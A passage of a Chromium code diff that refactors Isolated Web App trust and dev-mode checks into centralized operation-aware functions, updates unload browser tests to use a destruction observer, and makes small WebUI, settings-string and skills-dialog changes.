   MOCK_METHOD(void,
               OnInputStateChanged,
diff --git a/chrome/browser/ui/webui/settings/about_handler.cc b/chrome/browser/ui/webui/settings/about_handler.cc
index 8c160204..a37520b 100644
--- a/chrome/browser/ui/webui/settings/about_handler.cc
+++ b/chrome/browser/ui/webui/settings/about_handler.cc
@@ -635,6 +635,9 @@
 }
 
 void AboutHandler::HandleCanChangeFirmware(const base::ListValue& args) {
+  // It's possible this function could fire prior to other runs
+  // of AllowJavascript(), ensure it's enabled.
+  AllowJavascript();
   CHECK_EQ(1U, args.size());
   const std::string& callback_id = args[0].GetString();
   ResolveJavascriptCallback(base::Value(callback_id),
diff --git a/chrome/browser/ui/webui/settings/settings_localized_strings_provider.cc b/chrome/browser/ui/webui/settings/settings_localized_strings_provider.cc
index 64586dc..6b4250cf 100644
--- a/chrome/browser/ui/webui/settings/settings_localized_strings_provider.cc
+++ b/chrome/browser/ui/webui/settings/settings_localized_strings_provider.cc
@@ -1608,6 +1608,8 @@
        IDS_SETTINGS_AUTOFILL_AI_ADD_OR_EDIT_DIALOG_VALIDATION_ERROR},
       {"autofillAiAddOrEditDialogRequiredFieldError",
        IDS_AUTOFILL_AI_ADD_OR_EDIT_DIALOG_REQUIRED_FIELD_ERROR},
+      {"saveInfoToWalletAccountNotice",
+       IDS_AUTOFILL_AI_SAVE_ENTITY_TO_WALLET_DIALOG_SUBTITLE},
       {"autofillAiSubpageSublabelLoggingManagedDisabled",
        IDS_SETTINGS_AUTOFILL_AI_ENTERPRISE_LOGGING_MANAGED_DISABLED},
       {"autofillPayOverTimeSettingsLabel", IDS_AUTOFILL_BNPL_SETTINGS_LABEL},
diff --git a/chrome/browser/ui/webui/skills/skills_dialog_handler.cc b/chrome/browser/ui/webui/skills/skills_dialog_handler.cc
index 969b6c0..226c638 100644
--- a/chrome/browser/ui/webui/skills/skills_dialog_handler.cc
+++ b/chrome/browser/ui/webui/skills/skills_dialog_handler.cc
@@ -54,11 +54,14 @@
 void SkillsDialogHandler::SubmitSkill(const skills::Skill& skill) {
   if (auto* skills_service =
           SkillsServiceFactory::GetForProfile(base::to_address(profile_))) {
-    const Skill* skill_added =
-        skills_service->AddSkill(skill.name, skill.icon, skill.prompt);
-    // TODO(marissashen): Add support for UpdateSkill
-    if (skill_added && delegate_) {
-      delegate_->OnSkillSaved(skill_added->id);
+    const Skill* response =
+        skill.id.empty()
+            ? skills_service->AddSkill(skill.name, skill.icon, skill.prompt)
+            : skills_service->UpdateSkill(skill.id, skill.name, skill.icon,
+                                          skill.prompt);
+    if (response && delegate_) {
+      // Triggers toast
+      delegate_->OnSkillSaved(response->id);
       delegate_->CloseDialog();
     }
   } else {
diff --git a/chrome/browser/ui/webui/tab_strip/tab_strip_ui_util.cc b/chrome/browser/ui/webui/tab_strip/tab_strip_ui_util.cc
index da720f6..be09afb 100644
--- a/chrome/browser/ui/webui/tab_strip/tab_strip_ui_util.cc
+++ b/chrome/browser/ui/webui/tab_strip/tab_strip_ui_util.cc
@@ -33,7 +33,7 @@
 
 std::optional<tab_groups::TabGroupId> GetTabGroupIdFromString(
     TabGroupModel* tab_group_model,
-    std::string group_id_string) {
+    const std::string& group_id_string) {
   if (!tab_group_model) {
     return std::nullopt;
   }
@@ -46,8 +46,9 @@
   return std::nullopt;
 }
 
-BrowserWindowInterface* GetBrowserWithGroupId(Profile* profile,
-                                              std::string group_id_string) {
+BrowserWindowInterface* GetBrowserWithGroupId(
+    Profile* profile,
+    const std::string& group_id_string) {
   BrowserWindowInterface* browser_with_group = nullptr;
   ForEachCurrentBrowserWindowInterfaceOrderedByActivation(
       [&](BrowserWindowInterface* browser) {
diff --git a/chrome/browser/ui/webui/tab_strip/tab_strip_ui_util.h b/chrome/browser/ui/webui/tab_strip/tab_strip_ui_util.h
index 2461326..df5ff9f 100644
--- a/chrome/browser/ui/webui/tab_strip/tab_strip_ui_util.h
+++ b/chrome/browser/ui/webui/tab_strip/tab_strip_ui_util.h
@@ -23,13 +23,14 @@
 
 std::optional<tab_groups::TabGroupId> GetTabGroupIdFromString(
     TabGroupModel* tab_group_model,
-    std::string group_id_string);
+    const std::string& group_id_string);
 
 // Find the browser containing the group with ID |group_id_string| or nullptr if
 // none. If the profile is not specified, find any browser containing the
 // |group_id|.
-BrowserWindowInterface* GetBrowserWithGroupId(Profile* profile,
-                                              std::string group_id_string);
+BrowserWindowInterface* GetBrowserWithGroupId(
+    Profile* profile,
+    const std::string& group_id_string);
 
 // Moves all the tabs in a group from `source_browser`to `target_browser` at
 // `to_index`. If the operation results in a split tab group in the destination
diff --git a/chrome/browser/ui/webui/updater/updater_ui.cc b/chrome/browser/ui/webui/updater/updater_ui.cc
index 9f6dc9e..b89dcaa 100644
--- a/chrome/browser/ui/webui/updater/updater_ui.cc
+++ b/chrome/browser/ui/webui/updater/updater_ui.cc
@@ -134,7 +134,14 @@
       {"outcome", IDS_UPDATER_OUTCOME},
       {"outcomeUnknown", IDS_UPDATER_OUTCOME_UNKNOWN},
       {"persistedDataSummary", IDS_UPDATER_PERSISTED_DATA_SUMMARY},
+      {"policyConflictWarning", IDS_UPDATER_POLICY_CONFLICT_WARNING},
       {"policyDetails", IDS_UPDATER_EFFECTIVE_POLICY_SET},
+      {"policyIgnored", IDS_UPDATER_POLICY_IGNORED},
+      {"policyName", IDS_UPDATER_POLICY_NAME},
+      {"policyOk", IDS_UPDATER_POLICY_OK},
+      {"policySource", IDS_UPDATER_POLICY_SOURCE},
+      {"policyStatus", IDS_UPDATER_POLICY_STATUS},
+      {"policyValue", IDS_UPDATER_POLICY_VALUE},
       {"processSummary", IDS_UPDATER_PROCESS_SUMMARY},
       {"qualificationFailed", IDS_UPDATER_QUALIFICATION_FAILED},
       {"qualificationSucceeded", IDS_UPDATER_QUALIFICATION_SUCCEEDED},
diff --git a/chrome/browser/ui/webui/webui_toolbar/webui_toolbar_ui.cc b/chrome/browser/ui/webui/webui_toolbar/webui_toolbar_ui.cc
index 7b9791a..c056d9c4 100644
--- a/chrome/browser/ui/webui/webui_toolbar/webui_toolbar_ui.cc
+++ b/chrome/browser/ui/webui/webui_toolbar/webui_toolbar_ui.cc
@@ -210,5 +210,5 @@
 
 const std::vector<ui::ElementIdentifier>
 WebUIToolbarUI::GetKnownElementIdentifiers() const {
-  return {kReloadButtonElementId};
+  return {kReloadButtonElementId, kToolbarSplitTabsToolbarButtonElementId};
 }
diff --git a/chrome/browser/unload_browsertest.cc b/chrome/browser/unload_browsertest.cc
index ad70773..ac20afc 100644
--- a/chrome/browser/unload_browsertest.cc
+++ b/chrome/browser/unload_browsertest.cc
@@ -208,13 +208,14 @@
 
   void CloseBrowsersVerifyUnloadSuccess(bool force) {
     UnloadResults unload_results;
+    ui_test_utils::BrowserDestroyedObserver observer(browser());
     chrome::CloseAllBrowsersWithProfile(
         browser()->profile(), force,
         base::BindRepeating(&UnloadResults::AddSuccess,
                             base::Unretained(&unload_results)),
         base::BindRepeating(&UnloadResults::AddAbort,
                             base::Unretained(&unload_results)));
-    ui_test_utils::WaitForBrowserToClose();
+    observer.Wait();
     EXPECT_EQ(1, unload_results.get_successes());
     EXPECT_EQ(0, unload_results.get_aborts());
   }
@@ -222,9 +223,10 @@
   // The test harness cannot close the window automatically, because it requires
   // confirmation. We close the window manually instead.
   void ManuallyCloseWindow() {
+    ui_test_utils::BrowserDestroyedObserver observer(browser());
     chrome::CloseWindow(browser());
     ClickModalDialogButton(true);
-    ui_test_utils::WaitForBrowserToClose();
+    observer.Wait();
   }
 
   const std::string GenerateDataURL(std::string listener_html,
@@ -330,9 +332,10 @@
   NavigateToDataURL(BEFORE_UNLOAD_HTML, "beforeunload");
   PrepareForDialog(browser());
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseWindow(browser());
   ClickModalDialogButton(true);
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 }
 
 // Tests closing the browser with a beforeunload handler and clicking
@@ -371,6 +374,7 @@
   PrepareForDialog(browser());
 
   UnloadResults unload_results;
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersWithProfile(
       browser()->profile(), false,
       base::BindRepeating(&UnloadResults::AddSuccess,
@@ -378,7 +382,7 @@
       base::BindRepeating(&UnloadResults::AddAbort,
                           base::Unretained(&unload_results)));
   ClickModalDialogButton(true);
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_EQ(1, unload_results.get_successes());
   EXPECT_EQ(0, unload_results.get_aborts());
 }
@@ -440,6 +444,7 @@
   PrepareForDialog(browser());
 
   UnloadResults unload_results;
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersWithProfile(
       browser()->profile(), false,
       base::BindRepeating(&UnloadResults::AddSuccess,
@@ -453,7 +458,7 @@
       base::BindRepeating(&UnloadResults::AddAbort,
                           base::Unretained(&unload_results)));
   ClickModalDialogButton(true);
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_EQ(1, unload_results.get_successes());
   EXPECT_EQ(0, unload_results.get_aborts());
 }
@@ -501,10 +506,10 @@
   NavigateToDataURL(BEFORE_UNLOAD_HTML, "beforeunload");
   PrepareForDialog(browser());
 
-  UnloadResults unload_results;
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersWithProfile(browser()->profile(), false);
   ClickModalDialogButton(true);
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 }
 
 // Tests closing the browser by BrowserList::CloseAllBrowsersWithProfile, with
@@ -515,7 +520,6 @@
   NavigateToDataURL(BEFORE_UNLOAD_HTML, "beforeunload");
   PrepareForDialog(browser());
 
-  UnloadResults unload_results;
   chrome::CloseAllBrowsersWithProfile(browser()->profile(), false);
 
   // We wait for the title to change after cancelling the closure of browser
@@ -691,6 +695,7 @@
   NavigateToDataURL(BEFORE_UNLOAD_HTML, "beforeunload");
 
   UnloadResults unload_results;
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersWithProfile(
       browser()->profile(), false,
       base::BindRepeating(&UnloadResults::AddSuccess,
@@ -703,7 +708,7 @@
                           base::Unretained(&unload_results)),
       base::BindRepeating(&UnloadResults::AddAbort,
                           base::Unretained(&unload_results)));
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_EQ(1, unload_results.get_successes());
   EXPECT_EQ(0, unload_results.get_aborts());
 }
diff --git a/chrome/browser/web_applications/app_service/web_app_publisher_helper.cc b/chrome/browser/web_applications/app_service/web_app_publisher_helper.cc
index 33a168c..341d0cb 100644
--- a/chrome/browser/web_applications/app_service/web_app_publisher_helper.cc
+++ b/chrome/browser/web_applications/app_service/web_app_publisher_helper.cc
@@ -666,8 +666,9 @@
 
   // TODO(crbug.com/458291386): Launch protocol handlers for all PWAs (and not
   // just IWAs) on ChromeOS -- this requires some additional UX work.
-  if (provider.registrar_unsafe().AppMatches(app.app_id(),
-                                             WebAppFilter::IsIsolatedApp())) {
+  if (provider.registrar_unsafe().AppMatches(
+          app.app_id(),
+          WebAppFilter::IsIsolatedApp() | WebAppFilter::IsIsolatedSubApp())) {
     // Includes all protocol handlers except for the ones that the user has
     // explicitly disallowed.
     const std::vector<custom_handlers::ProtocolHandler> protocol_handlers =
@@ -755,7 +756,8 @@
 
   // Isolated web apps can only be opened in window.
   app->allow_window_mode_selection = !provider_->registrar_unsafe().AppMatches(
-      web_app->app_id(), WebAppFilter::IsIsolatedApp());
+      web_app->app_id(),
+      WebAppFilter::IsIsolatedApp() | WebAppFilter::IsIsolatedSubApp());
 
   SetWebAppShowInFields(web_app, *app);
 
diff --git a/chrome/browser/web_applications/install_element_browsertest.cc b/chrome/browser/web_applications/install_element_browsertest.cc
index dfe7237..25fafef7 100644
--- a/chrome/browser/web_applications/install_element_browsertest.cc
+++ b/chrome/browser/web_applications/install_element_browsertest.cc
@@ -29,6 +29,7 @@
 #include "content/public/test/browser_test_utils.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/blink/public/common/features_generated.h"
+#include "third_party/blink/public/mojom/use_counter/metrics/webdx_feature.mojom.h"
 #include "ui/views/test/dialog_test.h"
 #include "ui/views/test/widget_test.h"
 #include "ui/views/widget/any_widget_observer.h"
@@ -139,6 +140,10 @@
 // Test installing current document (no attributes).
 // <install></install>
 IN_PROC_BROWSER_TEST_F(InstallElementBrowserTest, Install) {
+  // Setup histogram tester before navigation so it captures the WebDX feature
+  // counter recorded when the <install> element is parsed on page load.
+  base::HistogramTester histograms;
+
   // Navigate to a page with <install> elements.
   EXPECT_TRUE(ui_test_utils::NavigateToURL(
       browser(), https_server()->GetURL(kInstallElementPageStartUrl)));
@@ -167,11 +172,19 @@
       GenerateAppIdFromManifestId(https_server()->GetURL("/some_id"));
   EXPECT_TRUE(provider().registrar_unsafe().AppMatches(
       app_id, WebAppFilter::LaunchableFromInstallApi()));
+
+  histograms.ExpectBucketCount(
+      "Blink.UseCounter.WebDXFeatures",
+      blink::mojom::WebDXFeature::kDRAFT_InstallElement, 1);
 }
 
 // Test installing from a background document (installurl only).
 // <install installurl="..."></install>
 IN_PROC_BROWSER_TEST_F(InstallElementBrowserTest, InstallWithUrl) {
+  // Setup histogram tester before navigation so it captures the WebDX feature
+  // counter recorded when the <install> element is parsed on page load.
+  base::HistogramTester histograms;
+
   // Navigate to a page with <install> elements.
   ASSERT_TRUE(ui_test_utils::NavigateToURL(
       browser(), https_server()->GetURL(kInstallElementPageStartUrl)));
@@ -204,11 +217,19 @@
       https_server()->GetURL(kInstallElementPageId));
   EXPECT_TRUE(provider().registrar_unsafe().AppMatches(
       app_id, WebAppFilter::LaunchableFromInstallApi()));
+
+  histograms.ExpectBucketCount(
+      "Blink.UseCounter.WebDXFeatures",
+      blink::mojom::WebDXFeature::kDRAFT_InstallElement, 1);
 }
 
 // Test installing from a background document (both installurl and manifestid).
 // <install installurl="..." manifestid="..."></install>
 IN_PROC_BROWSER_TEST_F(InstallElementBrowserTest, InstallWithUrlAndId) {
+  // Setup histogram tester before navigation so it captures the WebDX feature
+  // counter recorded when the <install> element is parsed on page load.
+  base::HistogramTester histograms;
+
   // Navigate to a page with <install> elements.
   ASSERT_TRUE(ui_test_utils::NavigateToURL(
       browser(), https_server()->GetURL(kInstallElementPageStartUrl)));
@@ -241,6 +262,10 @@
   webapps::AppId app_id = GenerateAppIdFromManifestId(manifest_id);
   EXPECT_TRUE(provider().registrar_unsafe().AppMatches(
       app_id, WebAppFilter::LaunchableFromInstallApi()));
+
+  histograms.ExpectBucketCount(
+      "Blink.UseCounter.WebDXFeatures",
+      blink::mojom::WebDXFeature::kDRAFT_InstallElement, 1);
 }
 
 IN_PROC_BROWSER_TEST_F(InstallElementBrowserTest, InstallWithUrl_UserDenies) {
diff --git a/chrome/browser/web_applications/isolated_web_apps/chrome_iwa_client.cc b/chrome/browser/web_applications/isolated_web_apps/chrome_iwa_client.cc
index 60eb7ef..5d8841e 100644
--- a/chrome/browser/web_applications/isolated_web_apps/chrome_iwa_client.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/chrome_iwa_client.cc
@@ -65,28 +65,15 @@
         .error_description = base::StringPrintf(
             "There's no matching Isolated Web App installed.")});
   }
-  if (iwa->isolation_data()->location().dev_mode() &&
-      !IsIwaDevModeEnabled(profile.get())) {
-    return base::unexpected(SourceRequestError{
-        .net_error = net::ERR_FAILED,
-        .error_description =
-            "Isolated Web App Developer Mode is not enabled or "
-            "blocked by policy."});
-  }
-  auto source = IwaSourceWithMode::FromStorageLocation(
+  RETURN_IF_ERROR(IsolatedWebAppTrustChecker::IsResourceLoadingAllowed(
+                      *profile, web_bundle_id, *iwa)
+                      .transform_error([](const std::string& error) {
+                        return SourceRequestError{
+                            .net_error = net::ERR_INVALID_WEB_BUNDLE,
+                            .error_description = error};
+                      }));
+  return IwaSourceWithMode::FromStorageLocation(
       profile->GetPath(), iwa->isolation_data()->location());
-  if (std::holds_alternative<IwaSourceBundleWithMode>(source.variant())) {
-    // TODO(crbug.com/474076928): Split up IsTrusted() so that
-    // holds_alternative check is not needed.
-    RETURN_IF_ERROR(IsolatedWebAppTrustChecker::IsTrusted(
-                        *profile, web_bundle_id, source.dev_mode())
-                        .transform_error([](const std::string& error) {
-                          return SourceRequestError{
-                              .net_error = net::ERR_INVALID_WEB_BUNDLE,
-                              .error_description = error};
-                        }));
-  }
-  return source;
 }
 
 void GetIwaSourceForRequestImpl(
@@ -124,20 +111,14 @@
     if (const auto* inspection_context =
             NonInstalledBundleInspectionContext::FromWebContents(
                 web_contents)) {
-      if (std::holds_alternative<IwaSourceBundleWithMode>(
-              inspection_context->source().variant())) {
-        // TODO(crbug.com/474076928): Split up IsTrusted() so that
-        // holds_alternative check is not needed.
-        RETURN_IF_ERROR(
-            IsolatedWebAppTrustChecker::IsTrusted(
-                *profile, web_bundle_id,
-                inspection_context->source().dev_mode()),
-            [&](const std::string& error) {
-              std::move(callback).Run(base::unexpected(
-                  SourceRequestError{.net_error = net::ERR_INVALID_WEB_BUNDLE,
-                                     .error_description = error}));
-            });
-      }
+      RETURN_IF_ERROR(
+          IsolatedWebAppTrustChecker::IsResourceLoadingAllowed(
+              *profile, web_bundle_id, *inspection_context),
+          [&](const std::string& error) {
+            std::move(callback).Run(base::unexpected(
+                SourceRequestError{.net_error = net::ERR_INVALID_WEB_BUNDLE,
+                                   .error_description = error}));
+          });
       if (request.url.GetPath() == kInstallPagePath) {
         std::move(callback).Run(
             GeneratedResponse{.response_body = kInstallPageContent});
diff --git a/chrome/browser/web_applications/isolated_web_apps/commands/install_isolated_web_app_command.cc b/chrome/browser/web_applications/isolated_web_apps/commands/install_isolated_web_app_command.cc
index 1fd07dd..22955ce5 100644
--- a/chrome/browser/web_applications/isolated_web_apps/commands/install_isolated_web_app_command.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/commands/install_isolated_web_app_command.cc
@@ -29,6 +29,7 @@
 #include "chrome/browser/web_applications/commands/web_app_command.h"
 #include "chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.h"
 #include "chrome/browser/web_applications/isolated_web_apps/install/isolated_web_app_install_source.h"
+#include "chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h"
 #include "chrome/browser/web_applications/isolated_web_apps/isolated_web_app_integrity_block_data.h"
 #include "chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.h"
 #include "chrome/browser/web_applications/isolated_web_apps/remove_isolated_web_app_data.h"
@@ -239,7 +240,8 @@
 void InstallIsolatedWebAppCommand::CheckTrustAndSignatures(
     base::OnceClosure next_step_callback) {
   command_helper_->CheckTrustAndSignatures(
-      *destination_source_, &profile(),
+      *destination_source_, IwaInstallOperation{.source = install_surface_},
+      &profile(),
       base::BindOnce(&InstallIsolatedWebAppCommand::OnTrustAndSignaturesChecked,
                      weak_factory_.GetWeakPtr(),
                      std::move(next_step_callback)));
@@ -271,8 +273,10 @@
     base::OnceCallback<void(PrepareInstallInfoJob::InstallInfoOrFailure)>
         next_step_callback) {
   prepare_install_info_job_ = PrepareInstallInfoJob::CreateAndStart(
-      profile(), *destination_source_, expected_version_, *web_contents_,
-      *command_helper_, lock_->web_contents_manager().CreateUrlLoader(),
+      profile(), *destination_source_,
+      IwaInstallOperation{.source = install_surface_}, expected_version_,
+      *web_contents_, *command_helper_,
+      lock_->web_contents_manager().CreateUrlLoader(),
       std::move(next_step_callback));
 }
 
diff --git a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_apply_update_command.cc b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_apply_update_command.cc
index 3478bc52..63df387 100644
--- a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_apply_update_command.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_apply_update_command.cc
@@ -138,7 +138,7 @@
   command_helper_->CheckTrustAndSignatures(
       IwaSourceWithMode::FromStorageLocation(profile().GetPath(),
                                              pending_update_info().location),
-      &profile(),
+      IwaUpdateOperation{}, &profile(),
       base::BindOnce(
           &IsolatedWebAppApplyUpdateCommand::OnTrustAndSignaturesChecked,
           weak_factory_.GetWeakPtr(), std::move(next_step_callback)));
@@ -194,8 +194,8 @@
       profile(),
       IwaSourceWithMode::FromStorageLocation(profile().GetPath(),
                                              pending_update_info().location),
-      pending_update_info().version, *web_contents_, *command_helper_,
-      lock_->web_contents_manager().CreateUrlLoader(),
+      IwaUpdateOperation{}, pending_update_info().version, *web_contents_,
+      *command_helper_, lock_->web_contents_manager().CreateUrlLoader(),
       std::move(next_step_callback));
 }
 
diff --git a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_apply_update_command_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_apply_update_command_unittest.cc
index bd5fde25..b00afde44 100644
--- a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_apply_update_command_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_apply_update_command_unittest.cc
@@ -118,8 +118,8 @@
 
   void InstallIwa(
       std::optional<IsolationData::PendingUpdateInfo> pending_update_info) {
-    std::unique_ptr<WebApp> isolated_web_app =
-        test::CreateWebApp(url_info_.origin().GetURL());
+    std::unique_ptr<WebApp> isolated_web_app = test::CreateWebApp(
+        url_info_.origin().GetURL(), WebAppManagement::Type::kIwaUserInstalled);
     isolated_web_app->SetName("installed app");
 
     auto builder =
@@ -311,9 +311,7 @@
   SetTrustedWebBundleIdsForTesting({});
 
   auto result = ApplyPendingUpdate();
-  EXPECT_THAT(result,
-              ErrorIs(Field(&IsolatedWebAppApplyUpdateCommandError::message,
-                            HasSubstr("The public key(s) are not trusted"))));
+  EXPECT_THAT(result, ErrorIs(_));
   ExpectAppNotUpdatedAndDataCleared();
 }
 
diff --git a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.cc b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.cc
index 115127d2..715582f3 100644
--- a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.cc
@@ -321,25 +321,22 @@
 
 void IsolatedWebAppInstallCommandHelper::CheckTrustAndSignatures(
     const IwaSourceWithMode& location,
+    const IwaOperation& operation,
     Profile* profile,
     base::OnceCallback<
         void(base::expected<std::optional<SignedWebBundleIntegrityBlock>,
                             std::string>)> callback) {
+  RETURN_IF_ERROR(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile, url_info_.web_bundle_id(), location.dev_mode(), operation),
+      [&](const std::string& error) {
+        std::move(callback).Run(base::unexpected(error));
+      });
+
   std::visit(
       absl::Overload{
           [&](const IwaSourceBundleWithMode& location) {
             CHECK(!url_info_.web_bundle_id().is_for_proxy_mode());
-            if (location.dev_mode() && !IsIwaDevModeEnabled(profile)) {
-              std::move(callback).Run(
-                  base::unexpected(std::string(kIwaDevModeNotEnabledMessage)));
-              return;
-            }
-            RETURN_IF_ERROR(
-                IsolatedWebAppTrustChecker::IsTrusted(
-                    *profile, url_info_.web_bundle_id(), location.dev_mode()),
-                [&](const std::string& error) {
-                  std::move(callback).Run(base::unexpected(error));
-                });
             ValidateSignedWebBundleSignatures(
                 profile, location.path(), url_info_.web_bundle_id(),
                 base::BindOnce(&ExpectedToExpectedOptional)
@@ -347,11 +344,6 @@
           },
           [&](const IwaSourceProxy& location) {
             CHECK(url_info_.web_bundle_id().is_for_proxy_mode());
-            if (!IsIwaDevModeEnabled(profile)) {
-              std::move(callback).Run(
-                  base::unexpected(std::string(kIwaDevModeNotEnabledMessage)));
-              return;
-            }
             // Dev mode proxy mode does not use Web Bundles, hence there is no
             // bundle to validate / trust and no signatures to check.
             std::move(callback).Run(base::ok(std::nullopt));
@@ -361,10 +353,11 @@
 
 void IsolatedWebAppInstallCommandHelper::CheckTrustAndSignatures(
     const IwaSourceWithMode& location,
+    const IwaOperation& operation,
     Profile* profile,
     base::OnceCallback<void(base::expected<void, std::string>)> callback) {
   CheckTrustAndSignatures(
-      location, profile,
+      location, operation, profile,
       base::BindOnce(
           [](base::expected<std::optional<SignedWebBundleIntegrityBlock>,
                             std::string> result) {
@@ -381,6 +374,7 @@
 
 void IsolatedWebAppInstallCommandHelper::LoadInstallUrl(
     const IwaSourceWithMode& source,
+    const IwaOperation& operation,
     content::WebContents& web_contents,
     webapps::WebAppUrlLoader& url_loader,
     base::OnceCallback<void(base::expected<void, std::string>)> callback) {
@@ -389,7 +383,7 @@
   // process vs application data serving) and source of data (proxy, web
   // bundle, etc...).
   NonInstalledBundleInspectionContext::CreateForWebContents(&web_contents,
-                                                            source);
+                                                            source, operation);
 
   GURL install_page_url =
       url_info_.origin().GetURL().Resolve(kGeneratedInstallPagePath);
diff --git a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.h b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.h
index b1127e5..a1f0e61 100644
--- a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.h
+++ b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.h
@@ -17,6 +17,7 @@
 #include "base/types/expected.h"
 #include "base/types/optional_ref.h"
 #include "base/version.h"
+#include "chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h"
 #include "chrome/browser/web_applications/isolated_web_apps/isolated_web_app_url_info.h"
 #include "chrome/browser/web_applications/jobs/manifest_to_web_app_install_info_job.h"
 #include "chrome/browser/web_applications/web_app_install_info.h"
@@ -125,6 +126,7 @@
   // Returns the integrity block if the IWA is backed by a signed web bundle.
   void CheckTrustAndSignatures(
       const IwaSourceWithMode& location,
+      const IwaOperation& operation,
       Profile* profile,
       base::OnceCallback<
           void(base::expected<
@@ -135,6 +137,7 @@
   // Use this overload if you don't need the returned integrity block.
   void CheckTrustAndSignatures(
       const IwaSourceWithMode& location,
+      const IwaOperation& operation,
       Profile* profile,
       base::OnceCallback<void(base::expected<void, std::string>)> callback);
 
@@ -142,6 +145,7 @@
 
   void LoadInstallUrl(
       const IwaSourceWithMode& source,
+      const IwaOperation& operation,
       content::WebContents& web_contents,
       webapps::WebAppUrlLoader& url_loader,
       base::OnceCallback<void(base::expected<void, std::string>)> callback);
diff --git a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper_unittest.cc
index dbefdbc..8e2fa7e 100644
--- a/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper_unittest.cc
@@ -186,8 +186,10 @@
       url_info, CreateDefaultDataRetriever(url_info.origin().GetURL()));
 
   base::test::TestFuture<base::expected<void, std::string>> future;
-  command_helper->CheckTrustAndSignatures(CreateDevProxySource(), &*profile(),
-                                          future.GetCallback());
+  command_helper->CheckTrustAndSignatures(
+      CreateDevProxySource(),
+      IwaInstallOperation{.source = webapps::WebappInstallSource::IWA_DEV_UI},
+      &*profile(), future.GetCallback());
   EXPECT_THAT(future.Get(), HasValue());
 }
 
@@ -201,8 +203,10 @@
       url_info, CreateDefaultDataRetriever(url_info.origin().GetURL()));
 
   base::test::TestFuture<base::expected<void, std::string>> future;
-  command_helper->CheckTrustAndSignatures(CreateDevProxySource(), &*profile(),
-                                          future.GetCallback());
+  command_helper->CheckTrustAndSignatures(
+      CreateDevProxySource(),
+      IwaInstallOperation{.source = webapps::WebappInstallSource::IWA_DEV_UI},
+      &*profile(), future.GetCallback());
   EXPECT_THAT(
       future.Take(),
       ErrorIs(HasSubstr("Isolated Web App Developer Mode is not enabled")));
@@ -265,8 +269,10 @@
       }));
 
   base::test::TestFuture<base::expected<void, std::string>> future;
-  command_helper->LoadInstallUrl(CreateDevProxySource(), web_contents(),
-                                 *url_loader, future.GetCallback());
+  command_helper->LoadInstallUrl(
+      CreateDevProxySource(),
+      IwaInstallOperation{.source = webapps::WebappInstallSource::IWA_DEV_UI},
+      web_contents(), *url_loader, future.GetCallback());
   EXPECT_THAT(future.Get(), HasValue());
   EXPECT_THAT(
       last_url_comparison,
@@ -298,6 +304,7 @@
   command_helper->LoadInstallUrl(
       IwaSourceProxy{
           url::Origin::Create(GURL("http://some-testing-proxy-url.com/"))},
+      IwaInstallOperation{.source = webapps::WebappInstallSource::IWA_DEV_UI},
       web_contents(), *url_loader, future.GetCallback());
   EXPECT_THAT(future.Get(), HasValue());
   EXPECT_THAT(source, Optional(Eq(IwaSourceProxy{url::Origin::Create(
@@ -329,6 +336,8 @@
   command_helper->LoadInstallUrl(
       IwaSourceBundleProdMode{
           base::FilePath{FILE_PATH_LITERAL("/testing/path/to/a/bundle")}},
+      IwaInstallOperation{
+          .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER},
       web_contents(), *url_loader, future.GetCallback());
   EXPECT_THAT(future.Get(), HasValue());
   EXPECT_THAT(source, Optional(Eq(IwaSourceBundleProdMode{base::FilePath{
@@ -347,8 +356,10 @@
       webapps::WebAppUrlLoaderResult::kFailedErrorPageLoaded);
 
   base::test::TestFuture<base::expected<void, std::string>> future;
-  command_helper->LoadInstallUrl(CreateDevProxySource(), web_contents(),
-                                 *url_loader, future.GetCallback());
+  command_helper->LoadInstallUrl(
+      CreateDevProxySource(),
+      IwaInstallOperation{.source = webapps::WebappInstallSource::IWA_DEV_UI},
+      web_contents(), *url_loader, future.GetCallback());
